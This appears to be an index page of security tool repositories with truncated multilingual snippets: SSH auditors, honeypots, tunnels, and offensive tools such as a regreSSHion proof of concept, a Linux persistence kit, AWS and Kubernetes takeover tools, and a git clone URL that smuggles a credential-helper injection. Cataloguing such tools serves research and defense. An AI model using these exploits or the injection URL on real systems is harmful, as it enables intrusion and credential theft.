NetworkAssessment

NetworkAssessment: Network Compromise Assessment Tool The Network Compromise Assessment Tool is designed to analyze pcap files to detect potential suspicious network traffic. This tool focuses on spotting abnormal activities in the network traffic and searching for suspicious keywords. Features D...

fapro

FaPro Free,Cross-platform,Single-file mass network protocol server simulator 中文Readme Description FaPro is a Fake Protocol Server tool, Can easily start or stop multiple network services. The goal is to support as many protocols as possible, and support as many deep interactions as possible for...

ssh-audit

ssh-audit ssh-audit 是一款用于 SSH 服务器审计的工具。 功能特点 支持 SSH1 和 SSH2 协议服务器； 获取横幅信息，识别设备、软件及操作系统，检测压缩； 收集密钥交换、主机密钥、加密和消息认证码算法； 输出算法信息（可用时间、已移除/禁用、不安全/弱/遗留等）； 输出算法建议（根据识别的软件版本添加或删除）； 输出安全信息（相关问题、分配的 CVE 列表等）； 基于算法信息分析 SSH 版本兼容性； 包含 OpenSSH、Dropbear SSH 和 libssh 的历史信息； 无依赖，兼容 Python 2.6+、Python 3.x 和 PyPy；...

dsa

A Summary of Go's crypto/dsa Vulnerability CVE-2016-3959 Alex Mullins April 9, 2016 Introduction Recently, there was a bug discovered in the Digital Signature Algorithm DSA crypto library for the Go programming language. In this article we'll go over the details of the bug and how an attacker cou...

barq

barq barq: The AWS Cloud Post Exploitation framework! What is it? barq is a post-exploitation framework that allows you to easily perform attacks on a running AWS infrastructure. It allows you to attack running EC2 instances without having the original instance SSH keypairs. It also allows you to...

CVE-2024-6387

CVE-2024-6387 regreSSHion Proof of concept python script for regreSSHion exploit. Version 0.2.1 build POC Installation git clone https://github.com/l-urk/CVE-2024-6387.git cd CVE-2024-6387 pip3 install -r requirements.txt python3 regreSSHion.py -h Usage 🔒 CVE-2024-6387 regreSSHion remote code...

D3m0n1z3dShell

「😈」About D3m0n1z3dShell Demonized Shell is an Advanced Tool for persistence in linux. Install git clone https://github.com/MatheuZSecurity/D3m0n1z3dShell.git cd D3m0n1z3dShell chmod +x demonizedshell.sh sudo ./demonizedshell.sh One-Liner Install Download D3m0n1z3dShell with all files: curl -L...

cve-2020-5260

cve-2020-5260 一个针对 cve-2020-5260 的 HTTP PoC 端点，可部署到 Heroku 致谢信息 Google Project Zero 的 Felix Wilhelm https://bugs.chromium.org/p/project-zero/issues/detail?id=2021 触发漏洞 git clone 'https://YourHerokuAppNameAndNotMine.herokuapp.com?%0ahost=github.com%0aprotocol=ssh' 将 PoC 部署到 Heroku 点击此按钮即可自动部署到...

kube-alien

Kube-alien 该工具从集群内部对 k8s 集群发起攻击。这意味着你需要已经拥有在集群中部署 Pod 的权限才能运行它。运行 kube-alien Pod 后，它会尝试通过将你的公钥添加到节点的 /root/.ssh/authorizedkeys 文件中来接管集群节点，使用的镜像为 https://github.com/nixwizard/dockercloud-authorizedkeys（可通过 config.py 中的 ADDAUTHKEYSIMAGE 参数进行调整），该镜像 fork 自 docker/dockercloud-authorizedkeys。...

CVE-Exploit-Research-Development

🔐 Herramienta de Explotación SSH Solo Uso Educativo 📌 Descripción Esta herramienta demuestra la explotación de: CVE-2008-0166 CVE-2008-1657 Se conecta a servicios SSH vulnerables y proporciona: Shell interactiva persistente Registro de ejecución de comandos Generación automática de informes en PD...

CVE-2025-45466

CVE-2025-45466 It is the details of CVE-2025-45466 CVE Disclosure: CVE-2025-45466 Summary A vulnerability has been discovered in Unitree Go1 robotic dog all versions using the...

CVE-2016-6210-exploit

CVE-2016-6210-exploit Custom exploit python 2.7 written for enumerating usernames as per CVE-2016-6210 OpenSSH 7.2-p2 & prior should only be used on authorised systems DESCRIPTION I wrote this program as a tool to exploit CVE-2016-6210, which is a vulnerability in OpenSSH before version 7.3...

sish

sish 用于 HTTPS、WSS、TCP、别名和 SNI 的开源 SSH 隧道技术。 如果你喜欢 serveo/ngrok 风格的便捷分享，但又想使用普通的 SSH 并运行自己的基础设施，那么 sish 就是为此而生的。 最终用户无需自定义客户端 支持公网和私有隧道工作流 提供 Docker 和二进制发布 专为生产级自托管设计 文档 | 托管服务 | 发布页 | Docker 镜像 | 由 pico.sh 赞助 为什么选择 sish sish 运行着一个专注于转发和多路复用的 SSH 服务器。用户可以使用他们熟悉的命令进行连接，sish 负责处理路由。 典型用例 通过 HTTPS...

ssh-audit

ssh-audit ssh-audit es una herramienta para la auditoría de configuración de servidores y clientes SSH. jtesta/ssh-audit v2.0+ es la versión actualizada y mantenida de ssh-audit, bifurcada de arthepsy/ssh-audit v1.x debido a la inactividad. Características Uso Capturas de pantalla Ejemplo de...

ssh-audit

ssh-audit ssh-audit is a tool for ssh server & client configuration auditing. jtesta/ssh-audit v2.0+ is the updated and maintained version of ssh-audit forked from arthepsy/ssh-audit v1.x due to inactivity. Features Usage Screenshots Server Standard Audit Example Server Policy Audit Example Clien...

kippo

注意：对于更近期的开发，请查看 Michel Oosterhof 的分支 Kippo Kippo 是一个中等交互的 SSH 蜜罐，旨在记录暴力破解攻击，以及最重要的是，攻击者执行的全部 shell 交互。 Kippo 的灵感来源于，但并不基于 Kojoney。 演示 下面是一些来自运行中的 Kippo 安装的有趣日志（可通过 Ajaxterm 在网页浏览器中查看）。请注意，自这些日志记录以来，某些命令可能已得到改进。 2009-11-22 2009-11-23 2009-11-23 2010-03-16 功能特性 一些有趣的功能： 具有添加/删除文件能力的虚拟文件系统。包含一个模仿...

kippo

NOTE: For more recent development, check out Michel Oosterhof's fork Kippo Kippo is a medium interaction SSH honeypot designed to log brute force attacks and, most importantly, the entire shell interaction performed by the attacker. Kippo is inspired, but not based on Kojoney. Demo Some interesti...

mcafee_atd_CVE-2019-3663

McAfee ATD CVE-2019-3663 McAfee Advanced Threat Defense ATD 4.6.x and earlier - Hardcoded root password Security Bulletin: https://kc.mcafee.com/corporate/index?page=content&id=SB10304 Interesting shadow entries...

fabric

|version| |python| |license| |ci| |coverage| .. |version| image:: https://img.shields.io/pypi/v/fabric :target: https://pypi.org/project/fabric/ :alt: PyPI - Package Version .. |python| image:: https://img.shields.io/pypi/pyversions/fabric :target: https://pypi.org/project/fabric/ :alt: PyPI -...

DECEIVE

DECEIVE DECEIVE, el DECeption with Evaluative Integrated Validation Engine , es un sistema honeypot de alta interacción y bajo esfuerzo. A diferencia de la mayoría de los honeypots de alta interacción, DECEIVE no proporciona a los atacantes acceso a ningún sistema real. La IA hace todo el trabajo...